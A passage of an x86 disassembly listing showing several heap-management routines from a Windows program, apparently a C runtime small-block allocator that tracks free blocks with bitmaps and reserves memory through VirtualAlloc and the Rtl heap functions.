loc_418B80:				; CODE XREF: sub_418B28+53j
		mov	ecx, [ebx+edx+4]
		cmp	ecx, [ebx+edx+8]
		jnz	short loc_418BD2
		mov	ecx, [ebp+arg_4]
		cmp	ecx, 20h
		jnb	short loc_418BAE
		mov	edi, 80000000h
		shr	edi, cl
		lea	ecx, [ecx+eax+4]
		not	edi
		and	[eax+esi*4+44h], edi
		dec	byte ptr [ecx]
		jnz	short loc_418BD2
		mov	ecx, [ebp+arg_0]
		and	[ecx], edi
		jmp	short loc_418BD2
; ---------------------------------------------------------------------------


loc_418BAE:				; CODE XREF: sub_418B28+68j
		add	ecx, 0FFFFFFE0h
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_4]
		lea	ecx, [ecx+eax+4]
		not	edi
		and	[eax+esi*4+0C4h], edi
		dec	byte ptr [ecx]
		jnz	short loc_418BD2
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], edi


loc_418BD2:				; CODE XREF: sub_418B28+60j
					; sub_418B28+7Dj ...
		mov	ecx, [ebx+edx+8]
		mov	edi, [ebx+edx+4]
		mov	[ecx+4], edi
		mov	ecx, [ebx+edx+4]
		mov	edi, [ebx+edx+8]
		add	ebx, [ebp+var_8]
		mov	[ecx+8], edi
		mov	[ebp+var_C], ebx


loc_418BEE:				; CODE XREF: sub_418B28+45j
		mov	edi, ebx
		sar	edi, 4
		dec	edi
		cmp	edi, 3Fh
		jbe	short loc_418BFC
		push	3Fh
		pop	edi


loc_418BFC:				; CODE XREF: sub_418B28+CFj
		mov	ecx, [ebp+var_4]
		and	ecx, 1
		mov	[ebp+var_14], ecx
		jnz	loc_418CAB
		sub	edx, [ebp+var_4]
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		push	3Fh
		mov	[ebp+var_8], edx
		dec	ecx
		pop	edx
		cmp	ecx, edx
		mov	[ebp+arg_4], ecx
		jbe	short loc_418C27
		mov	[ebp+arg_4], edx
		mov	ecx, edx


loc_418C27:				; CODE XREF: sub_418B28+F8j
		add	ebx, [ebp+var_4]
		mov	edi, ebx
		mov	[ebp+var_C], ebx
		sar	edi, 4
		dec	edi
		cmp	edi, edx
		jbe	short loc_418C39
		mov	edi, edx


loc_418C39:				; CODE XREF: sub_418B28+10Dj
		cmp	ecx, edi
		jz	short loc_418CA8
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+4]
		cmp	edx, [ecx+8]
		jnz	short loc_418C90
		mov	ecx, [ebp+arg_4]
		cmp	ecx, 20h
		jnb	short loc_418C6C
		mov	edx, 80000000h
		shr	edx, cl
		lea	ecx, [ecx+eax+4]
		not	edx
		and	[eax+esi*4+44h], edx
		dec	byte ptr [ecx]
		jnz	short loc_418C90
		mov	ecx, [ebp+arg_0]
		and	[ecx], edx
		jmp	short loc_418C90
; ---------------------------------------------------------------------------


loc_418C6C:				; CODE XREF: sub_418B28+126j
		add	ecx, 0FFFFFFE0h
		mov	edx, 80000000h
		shr	edx, cl
		mov	ecx, [ebp+arg_4]
		lea	ecx, [ecx+eax+4]
		not	edx
		and	[eax+esi*4+0C4h], edx
		dec	byte ptr [ecx]
		jnz	short loc_418C90
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], edx


loc_418C90:				; CODE XREF: sub_418B28+11Ej
					; sub_418B28+13Bj ...
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[edx+4], ecx
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[edx+8], ecx


loc_418CA8:				; CODE XREF: sub_418B28+113j
		mov	edx, [ebp+var_8]


loc_418CAB:				; CODE XREF: sub_418B28+DDj
		cmp	[ebp+var_14], 0
		jnz	short loc_418CBA
		cmp	[ebp+arg_4], edi
		jz	loc_418D43


loc_418CBA:				; CODE XREF: sub_418B28+187j
		mov	ecx, [ebp+var_10]
		lea	ecx, [ecx+edi*8]
		mov	ecx, [ecx+4]
		mov	[edx+4], ecx
		mov	ecx, [ebp+var_10]
		lea	ecx, [ecx+edi*8]
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_418D43
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_418D17
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_418D06
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_418D06:				; CODE XREF: sub_418B28+1CEj
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		lea	eax, [eax+esi*4+44h]
		or	[eax], ebx
		jmp	short loc_418D40
; ---------------------------------------------------------------------------


loc_418D17:				; CODE XREF: sub_418B28+1C8j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_418D2D
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_418D2D:				; CODE XREF: sub_418B28+1F3j
		lea	ecx, [edi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		lea	eax, [eax+esi*4+0C4h]
		or	[eax], edi


loc_418D40:				; CODE XREF: sub_418B28+1EDj
		mov	ebx, [ebp+var_C]


loc_418D43:				; CODE XREF: sub_418B28+18Cj
					; sub_418B28+1B6j
		mov	eax, [ebp+var_10]
		mov	[edx], ebx
		mov	[ebx+edx-4], ebx
		dec	dword ptr [eax]
		jnz	loc_418E4E
		mov	eax, ds:dword_46AAD4
		test	eax, eax
		jz	loc_418E40
		mov	ecx, ds:dword_46AACC
		mov	edi, ds:dword_421178
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	edi ; dword_421178
		mov	ecx, ds:dword_46AACC
		mov	eax, ds:dword_46AAD4
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, ds:dword_46AAD4
		mov	ecx, ds:dword_46AACC
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, ds:dword_46AAD4
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, ds:dword_46AAD4
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_418DCE
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, ds:dword_46AAD4


loc_418DCE:				; CODE XREF: sub_418B28+29Bj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_418E40
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	edi ; dword_421178
		mov	eax, ds:dword_46AAD4
		push	dword ptr [eax+10h]
		push	0
		push	ds:dword_46AAE0
		call	ds:dword_421150	; RtlFreeHeap
		mov	eax, ds:dword_46AAD8
		mov	edx, ds:dword_46AADC
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, ds:dword_46AAD4
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_416490
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	ds:dword_46AAD8
		cmp	eax, ds:dword_46AAD4
		jbe	short loc_418E32
		sub	eax, 14h


loc_418E32:				; CODE XREF: sub_418B28+305j
		mov	ecx, ds:dword_46AADC
		mov	ds:dword_46AAD0, ecx
		jmp	short loc_418E43
; ---------------------------------------------------------------------------


loc_418E40:				; CODE XREF: sub_418B28+233j
					; sub_418B28+2AAj
		mov	eax, [ebp+arg_0]


loc_418E43:				; CODE XREF: sub_418B28+316j
		mov	ds:dword_46AAD4, eax
		mov	ds:dword_46AACC, esi


loc_418E4E:				; CODE XREF: sub_418B28+226j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418B28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418E53	proc near		; CODE XREF: sub_415E07+Ep
					; sub_4174DF+69p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, ds:dword_46AAD8
		mov	edx, ds:dword_46AADC
		push	ebx
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		lea	edi, [edx+eax*4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		lea	ecx, [eax+17h]
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 20h
		jge	short loc_418E93
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_418EA3
; ---------------------------------------------------------------------------


loc_418E93:				; CODE XREF: sub_418E53+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], eax


loc_418EA3:				; CODE XREF: sub_418E53+3Ej
		mov	eax, ds:dword_46AAD0
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+arg_0], ebx
		jnb	short loc_418ECA


loc_418EB1:				; CODE XREF: sub_418E53+75j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_418ECA
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]
		mov	[ebp+arg_0], ebx
		jb	short loc_418EB1


loc_418ECA:				; CODE XREF: sub_418E53+5Cj
					; sub_418E53+6Aj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_418F48
		mov	ebx, edx


loc_418ED1:				; CODE XREF: sub_418E53+96j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_418EED
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_418EEB
		add	ebx, 14h
		jmp	short loc_418ED1
; ---------------------------------------------------------------------------


loc_418EEB:				; CODE XREF: sub_418E53+91j
		cmp	ebx, eax


loc_418EED:				; CODE XREF: sub_418E53+83j
		jnz	short loc_418F48


loc_418EEF:				; CODE XREF: sub_418E53+ADj
		cmp	ebx, [ebp+var_4]
		jnb	short loc_418F05
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_418F02
		add	ebx, 14h
		mov	[ebp+arg_0], ebx
		jmp	short loc_418EEF
; ---------------------------------------------------------------------------


loc_418F02:				; CODE XREF: sub_418E53+A5j
		cmp	ebx, [ebp+var_4]


loc_418F05:				; CODE XREF: sub_418E53+9Fj
		jnz	short loc_418F2D
		mov	ebx, edx


loc_418F09:				; CODE XREF: sub_418E53+C6j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_418F1D
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_418F1B
		add	ebx, 14h
		jmp	short loc_418F09
; ---------------------------------------------------------------------------


loc_418F1B:				; CODE XREF: sub_418E53+C1j
		cmp	ebx, eax


loc_418F1D:				; CODE XREF: sub_418E53+BBj
		jnz	short loc_418F2D
		call	sub_41915C
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_418F41


loc_418F2D:				; CODE XREF: sub_418E53:loc_418F05j
					; sub_418E53:loc_418F1Dj
		push	ebx
		call	sub_41920D
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_418F48


loc_418F41:				; CODE XREF: sub_418E53+D8j
		xor	eax, eax
		jmp	loc_419157
; ---------------------------------------------------------------------------


loc_418F48:				; CODE XREF: sub_418E53+7Aj
					; sub_418E53:loc_418EEDj ...
		mov	ds:dword_46AAD0, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_418F6F
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_418FA6


loc_418F6F:				; CODE XREF: sub_418E53+106j
		mov	edx, [eax+0C4h]
		mov	esi, [eax+44h]
		and	edx, [ebp+var_8]
		and	esi, [ebp+var_C]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_418FA3


loc_418F8C:				; CODE XREF: sub_418E53+14Ej
		mov	edx, [ecx+84h]
		inc	[ebp+var_4]
		and	edx, [ebp+var_8]
		add	ecx, 4
		mov	edi, esi
		and	edi, [ecx]
		or	edx, edi
		jz	short loc_418F8C


loc_418FA3:				; CODE XREF: sub_418E53+137j
		mov	edx, [ebp+var_4]


loc_418FA6:				; CODE XREF: sub_418E53+11Aj
		mov	ecx, edx
		xor	edi, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		and	ecx, esi
		jnz	short loc_418FCF
		mov	ecx, [eax+edx*4+0C4h]
		push	20h
		and	ecx, [ebp+var_8]
		pop	edi


loc_418FCF:				; CODE XREF: sub_418E53+16Dj
					; sub_418E53+183j
		test	ecx, ecx
		jl	short loc_418FD8
		shl	ecx, 1
		inc	edi
		jmp	short loc_418FCF
; ---------------------------------------------------------------------------


loc_418FD8:				; CODE XREF: sub_418E53+17Ej
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		mov	[ebp+var_8], ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jle	short loc_418FF5
		push	3Fh
		pop	esi


loc_418FF5:				; CODE XREF: sub_418E53+19Dj
		cmp	esi, edi
		jz	loc_41910A
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_419066
		cmp	edi, 20h
		jge	short loc_419035
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_419063
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx], ecx
		jmp	short loc_419066
; ---------------------------------------------------------------------------


loc_419035:				; CODE XREF: sub_418E53+1B5j
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		lea	ecx, [eax+ecx*4+0C4h]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_419063
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_419066
; ---------------------------------------------------------------------------


loc_419063:				; CODE XREF: sub_418E53+1D6j
					; sub_418E53+203j
		mov	ebx, [ebp+arg_0]


loc_419066:				; CODE XREF: sub_418E53+1B0j
					; sub_418E53+1E0j ...
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		cmp	[ebp+var_8], 0
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_419116
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[edx+4], edi
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_419107
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_0+3],	cl
		jge	short loc_4190D8
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_4190C6
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi


loc_4190C6:				; CODE XREF: sub_418E53+266j
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_419107
; ---------------------------------------------------------------------------


loc_4190D8:				; CODE XREF: sub_418E53+25Aj
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_4190F1
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi


loc_4190F1:				; CODE XREF: sub_418E53+28Fj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi


loc_419107:				; CODE XREF: sub_418E53+24Ej
					; sub_418E53+283j
		mov	ecx, [ebp+var_8]


loc_41910A:				; CODE XREF: sub_418E53+1A4j
		test	ecx, ecx
		jz	short loc_419119
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_419119
; ---------------------------------------------------------------------------


loc_419116:				; CODE XREF: sub_418E53+229j
		mov	ecx, [ebp+var_8]


loc_419119:				; CODE XREF: sub_418E53+2B9j
					; sub_418E53+2C1j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_41914F
		cmp	ebx, ds:dword_46AAD4
		jnz	short loc_41914F
		mov	ecx, [ebp+var_4]
		cmp	ecx, ds:dword_46AACC
		jnz	short loc_41914F
		and	ds:dword_46AAD4, 0


loc_41914F:				; CODE XREF: sub_418E53+2E0j
					; sub_418E53+2E8j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]


loc_419157:				; CODE XREF: sub_418E53+F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418E53	endp


; =============== S U B	R O U T	I N E =======================================



sub_41915C	proc near		; CODE XREF: sub_418E53+CCp
		mov	eax, ds:dword_46AAD8
		mov	ecx, ds:dword_46AAC8
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_41919F
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	ds:dword_46AADC
		push	edi
		push	ds:dword_46AAE0
		call	ds:dword_421160	; RtlReAllocateHeap
		cmp	eax, edi
		jz	short loc_4191EF
		add	ds:dword_46AAC8, 10h
		mov	ds:dword_46AADC, eax
		mov	eax, ds:dword_46AAD8


loc_41919F:				; CODE XREF: sub_41915C+11j
		mov	ecx, ds:dword_46AADC
		push	41C4h
		push	8
		lea	eax, [eax+eax*4]
		push	ds:dword_46AAE0
		lea	esi, [ecx+eax*4]
		call	ds:dword_42114C	; RtlAllocateHeap
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_4191EF
		push	4
		push	2000h
		push	100000h
		push	edi
		call	ds:dword_42117C	; VirtualAlloc
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_4191F3
		push	dword ptr [esi+10h]
		push	edi
		push	ds:dword_46AAE0
		call	ds:dword_421150	; RtlFreeHeap


loc_4191EF:				; CODE XREF: sub_41915C+30j
					; sub_41915C+67j
		xor	eax, eax
		jmp	short loc_41920A
; ---------------------------------------------------------------------------


loc_4191F3:				; CODE XREF: sub_41915C+81j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	ds:dword_46AAD8
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi


loc_41920A:				; CODE XREF: sub_41915C+95j
		pop	edi
		pop	esi
		retn
sub_41915C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41920D	proc near		; CODE XREF: sub_418E53+DBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, [ecx+10h]
		mov	eax, [ecx+8]
		xor	ebx, ebx


loc_41921F:				; CODE XREF: sub_41920D+19j
		test	eax, eax
		jl	short loc_419228
		shl	eax, 1
		inc	ebx
		jmp	short loc_41921F
; ---------------------------------------------------------------------------


loc_419228:				; CODE XREF: sub_41920D+14j
		mov	eax, ebx
		push	3Fh
		imul	eax, 204h
		pop	edx
		lea	eax, [eax+esi+144h]
		mov	[ebp+var_4], eax


loc_41923D:				; CODE XREF: sub_41920D+3Aj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_41923D
		mov	edi, ebx
		push	4
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	1000h
		push	8000h
		push	edi
		call	ds:dword_42117C	; VirtualAlloc
		test	eax, eax
		jnz	short loc_419270
		or	eax, 0FFFFFFFFh
		jmp	loc_419303
; ---------------------------------------------------------------------------


loc_419270:				; CODE XREF: sub_41920D+59j
		lea	edx, [edi+7000h]
		cmp	edi, edx
		ja	short loc_4192B6
		lea	eax, [edi+10h]


loc_41927D:				; CODE XREF: sub_41920D+A7j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	ecx, [eax+0FFCh]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax], ecx
		lea	ecx, [eax-1004h]
		mov	[eax+4], ecx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		lea	ecx, [eax-10h]
		cmp	ecx, edx
		jbe	short loc_41927D


loc_4192B6:				; CODE XREF: sub_41920D+6Bj
		mov	eax, [ebp+var_4]
		lea	ecx, [edi+0Ch]
		add	eax, 1F8h
		push	1
		pop	edi
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_4192F3
		or	[eax+4], edi


loc_4192F3:				; CODE XREF: sub_41920D+E1j
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx


loc_419303:				; CODE XREF: sub_41920D+5Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41920D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419308	proc near		; CODE XREF: sub_4174DF+58p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		lea	esi, [eax+17h]
		sub	edx, [ecx+0Ch]
		mov	eax, [ecx+10h]
		and	esi, 0FFFFFFF0h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		dec	ecx
		cmp	esi, ecx
		mov	[ebp+arg_8], ecx
		mov	ebx, [ecx+edi-4]
		lea	edi, [ecx+edi-4]
		mov	[ebp+var_4], ebx
		jle	loc_4194B6
		test	bl, 1
		jnz	loc_4194AF
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_4194AF
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_41937F
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx


loc_41937F:				; CODE XREF: sub_419308+6Fj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_4193CF
		cmp	ecx, 20h
		jnb	short loc_4193AB
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_4193CF
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_4193CF
; ---------------------------------------------------------------------------


loc_4193AB:				; CODE XREF: sub_419308+82j
		add	ecx, 0FFFFFFE0h
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_4193CF
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_4193CF:				; CODE XREF: sub_419308+7Dj
					; sub_419308+9Aj ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_41949D
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		lea	ecx, [ecx+esi-4]
		cmp	edi, 3Fh
		jbe	short loc_419409
		push	3Fh
		pop	edi


loc_419409:				; CODE XREF: sub_419308+FCj
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_41948B
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_419462
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_419455
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_419455:				; CODE XREF: sub_419308+13Dj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, edi
		jmp	short loc_419487
; ---------------------------------------------------------------------------


loc_419462:				; CODE XREF: sub_419308+137j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_419478
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_419478:				; CODE XREF: sub_419308+15Ej
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]
		mov	edx, 80000000h


loc_419487:				; CODE XREF: sub_419308+158j
		shr	edx, cl
		or	[eax], edx


loc_41948B:				; CODE XREF: sub_419308+125j
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_4194A0
; ---------------------------------------------------------------------------


loc_41949D:				; CODE XREF: sub_419308+E5j
		mov	edx, [ebp+arg_4]


loc_4194A0:				; CODE XREF: sub_419308+193j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_4195F6
; ---------------------------------------------------------------------------


loc_4194AF:				; CODE XREF: sub_419308+52j
					; sub_419308+5Cj
		xor	eax, eax
		jmp	loc_4195F9
; ---------------------------------------------------------------------------


loc_4194B6:				; CODE XREF: sub_419308+49j
		jge	loc_4195F6
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		mov	[ebp+arg_4], ebx
		sar	esi, 4
		dec	esi
		mov	[ebx-4], ecx
		cmp	esi, 3Fh
		jbe	short loc_4194E1
		push	3Fh
		pop	esi


loc_4194E1:				; CODE XREF: sub_419308+1D4j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_419570
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_4194FA
		push	3Fh
		pop	esi


loc_4194FA:				; CODE XREF: sub_419308+1EDj
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_419549
		cmp	esi, 20h
		jnb	short loc_419525
		mov	ebx, 80000000h
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_419546
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_419546
; ---------------------------------------------------------------------------


